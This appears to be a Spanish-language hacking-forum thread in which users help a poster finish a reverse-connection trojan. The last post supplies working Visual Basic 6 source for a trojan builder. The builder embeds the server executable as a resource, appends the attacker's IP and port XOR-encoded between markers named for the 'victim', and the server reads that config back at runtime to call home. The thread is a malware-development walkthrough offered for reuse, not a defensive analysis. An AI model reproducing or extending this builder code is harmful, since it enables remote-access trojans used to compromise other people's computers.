Veran, como algunos ya saben estoy haciendo un troyano inverso, chiquitin y de bolsillo, y ahora me planteo esta duda
yo ya tengo creado el servidor y el cliente, y quiero que el cliente tenga la funcion de crear el servidor:
* primero que te diga a que ip quiere q se conecte el servidor
* despues que cree el .exe
me podriais ayudar a hacerlo? asi cuando ya lo haya acabado podre postearlo para descargar ya que si el server usa mi ip, los que pasen el server a futuras personas todas se conectarian a mi
gracias
para que tu cliente contenga al server lo que debes hacer es agregarlo como recurso y depues extraerlo. o simplemente colocando una función que te lo descargue desde internet. busca aqui hay muchos ejemplos de adicionar y extraer recursos y tambien varios downloaders que pueden servirte.
saludos
no te entendi muy bien, lo que yo quiero es crear el servidor desde el cliente ya que la ip a la que se conecta el servidor tiene que ser cambiada
necesito saber como pdoer crear el servidor desde mi cliente para terminar el Dioxis
haber si alguien me puede hechar una mano jeje, se lo agradeceria y con esto concluiria la 1 version del troyano
Una idea es guardar los datos al fiunal de el archivo (EOF) y luego te auto lees y ves los datos.
Cita de: YST en 24 Mayo 2009, 22:25 PM
Una idea es guardar los datos al fiunal de el archivo (EOF) y luego te auto lees y ves los datos.
Tienes razon, pero
5ol3r quiere con la IP, y la IP se mete dentro del source, no es asi? si no tienes que preguntar al usuario que IP quiere...
no se si me explico,
Saludos!
WaRc3L
Cita de: WaRc3L en 24 Mayo 2009, 22:29 PM
Cita de: YST en 24 Mayo 2009, 22:25 PM
Una idea es guardar los datos al fiunal de el archivo (EOF) y luego te auto lees y ves los datos.
Tienes razon, pero 5ol3r quiere con la IP, y la IP se mete dentro del source, no es asi? si no tienes que preguntar al usuario que IP quiere...
no se si me explico,
Saludos!
WaRc3L
Dentro de el code tendria que llebar el vb6 a cuestas y no creo que quiera eso , tambien se puede modificar la ip poniendola en alguna posicion y luego modificandola pero sin ofender no creo que 50l3r tenga el nivel para hacerlo bien de esa manera por eso encuentro que es mejor para el la manera por EOF.
Cita de: YST en 24 Mayo 2009, 22:39 PM
Cita de: WaRc3L en 24 Mayo 2009, 22:29 PM
Cita de: YST en 24 Mayo 2009, 22:25 PM
Una idea es guardar los datos al fiunal de el archivo (EOF) y luego te auto lees y ves los datos.
Tienes razon, pero 5ol3r quiere con la IP, y la IP se mete dentro del source, no es asi? si no tienes que preguntar al usuario que IP quiere...
no se si me explico,
Saludos!
WaRc3L
Dentro de el code tendria que llebar el vb6 a cuestas y no creo que quiera eso , tambien se puede modificar la ip poniendola en alguna posicion y luego modificandola pero sin ofender no creo que 50l3r tenga el nivel para hacerlo bien de esa manera por eso encuentro que es mejor para el la manera por EOF.
Razon, razon tienes ;D
PD&EDIT: O.O, se me acaba de acudir una idea ( cosas raras que pasan )!
> 50l3r crea el .exe copiandolo de un archivo no?
> En ese archivo, podria contener la IP, y desde el source, abriendo ese fichero, y leer la IP.
Seria una buena idea? o me equivoco? me ha salido ahora, puede que me equivoque y sea una tonteria
Saludos!
WaRc3L
lo hice de este metodo
junte con un proyecto de eon el server y el cliente e ice un split para los dos, ambos serian dos arrays, 0 y 1
luego en el server, cojo dos variables que son la ip y el timer ( es otra modificacion) y lo creo junto al server en un exe, todo ello separado de otra firma
luego en el server hay otro split para la subfirma y para que reconozca la variable de la ip y del timer y despues se los asigno al wsk.remotehostip y al timer1.interval
Es el metodo que yo te dije :P solo una pregunta para que el timer ? :xD
el timer genera un intervalo de reconexion, que sirve para atender las peticiones que no esten aceptadas, es decir cuando tu te desconectas con un host, despues otro se conecta
si la cantidad de host remotos es elevada, el timer ha de ser elevado tambien
TE TRAIGO LA SALUCION
:laugh: :laugh: :laugh: :laugh:
----------------------------------------
hola yo al tema ya lo avia posteado pero no me dieron solucion . me rebente la cabeza mirando ejemplos q estban en chino jajaj hasta q comprendi
------------------------
1) vas ala parte q dice add-ins (en el manu de arriva) y selecionas donde dice add-in manager
te aparece un cartel. te vas a lo asi ultimo y hay uno q dice vb 6 resurce editor , le haces doble clic
hasta q dice loaded ( cargado ) le das ok
por ultimo te aparece un cartel con una carpeta de dice "custom"
te vas a mano derecha del simbolo de interrogacion (?) y a la mano derecha de la imagen con captus q hay unos cuadraditos . le das clic y te aparece
el cartel para elegir el archivo . elegis el servidor ( el troyano) .exe le das ok y te queda cargado el related documen al archivo q dice custom
le das clic y te aparece un "fsg" . le das clic y te aparece un cartel
q dice
type : "CUSTOM"
id : "FSG"
leguaje : español (argentina)
y listo te queda cargado haora bamos al codigo presta atencion
------------------------------------------------ -------------------------
' declaramos variables q le metemos al server y el server lo recibe
'agregas un CommonDialog
' dos cajas de texto text1 , text2 y un Command1
Private Const BVICTIMNAME As String = "/BVIC"
Private Const EVICTIMNAME As String = "EVIC\"
Private Const BICQUIN As String = "/BUIN"
Private Const EICQUIN As String = "EUIN\"
Dim strPath As String
Dim arrServer() As Byte ' declaramos varibles
Dim intFile As Integer
With CommonDialog1 '
.Filter = "*.EXE" & "*.BAT" & "*.SCR" & "*.PIF" & "*.COM" & "*.CMD"
.InitDir = App.Path
.DefaultExt = ".EXE"
.DialogTitle = "Save Server As"
.ShowSave
strPath = .FileName
End With
arrServer = LoadResData("FSG", "CUSTOM") ' bariable q utilizaremos para cagar el .res
intFile = FreeFile() ' variable para el file
Open strPath For Binary As #intFile 'abrimos el file ( el lugar)
Put #intFile, 1, arrServer
Put #intFile, , BEGIN '
Put #intFile, , BVICTIMNAME
Put #intFile, , encdec(Text1.Text) ' ak metemos los datos del text1 (podrias ser q hay metas la ip)
Put #intFile, , EVICTIMNAME
Put #intFile, , BICQUIN
Put #intFile, , encdec(Text2.Text) ' ak metemos los datos del text2 (podrias ser q hay metas el puerto)
Put #intFile, , EICQUIN
Close #intFile ' cerramos la sentencia
''''''''''
Function encdec(inputstrinG As String) As String ' ak ponemos la funcion encodec
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function
````````````````````````````````````````````````````
' pone esto en un modulo
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long
'''''''''''''''
'''''''''**************************************************
LISTO HAORA PASAMOS AL SERVIDOR
-------------------------------------------------------------------
' COLOCA ESTO EN UN MODULO
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Public Function FullAppName() As String
Dim modName As String * 256
Dim i As Long
i = GetModuleFileName(App.hInstance, modName, Len(modName))
FullAppName = Left$(modName, i)
End Function
'''''''''''''''''
ESTO COLOCALO EN EN FORM
Dim Svicname As String ' Str
Dim intFile As Integer
Dim strTemp As String
Dim SettingStart As Long
Dim SettingEnd As Long
Dim Durl As String
Dim thefilen As String
Dim RecBytes As Long
Dim FUsize As Long
Dim Sicquin As String
'''''''''''
Private Sub Form_Load()
RecBytes = 0
intFile = FreeFile()
Open FullAppName For Binary As #intFile
strTemp = String$(LOF(intFile), Chr$(0))
Get #intFile, 1, strTemp 'CARGAMOS EL SERVER A LA MEMORIA
Close #intFile
SettingStart = InStr(1, strTemp, "/BEG")
SettingEnd = InStr(1, strTemp, "END\")
FindSetting "/BVIC", "EVIC\", Svicname ' TIPOS DE VARIBLES Q DIGIMOS Q LE IVAMOS A METER AL SERVER
FindSetting "/BUIN", "EUIN\", Sicquin
Select Case Svicname '''''''''''''''''''
Case "Disabled"
Case Else
Text1.Text = Svicname ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT1 DEL CLIENTE LA IP A CONECTAR
End Select
Select Case Sicquin
Case "Disabled"
Case Else
Text2.Text = Sicquin ' AK SE BA A ALMACENAR LA IMFORMACION DEL TEXT2 DEL CLIENTE EL PUERTO
End Select
END SUB
Sub FindSetting(ByVal SStart As String, send As String, SString As String)
On Error Resume Next
SettingStart = InStr(1, strTemp, SStart) ' find the start of what setting we want
SettingEnd = InStr(1, strTemp, send) ' find the end
SString = Mid$(strTemp, SettingStart + 5, SettingEnd - SettingStart - 5) ' the setting = - the markers
SString = encdec(SString)
End Sub
Function encdec(inputstrinG As String) As String
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s ' funcion para decodificarlos
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End Function
'''''''''''''''''''''''''''
SALUDOS BY REMBOLSO ESPERO Q TE AYA AYUDADO . YA Q AMI NO ME AYUDO NADIE JAJAJ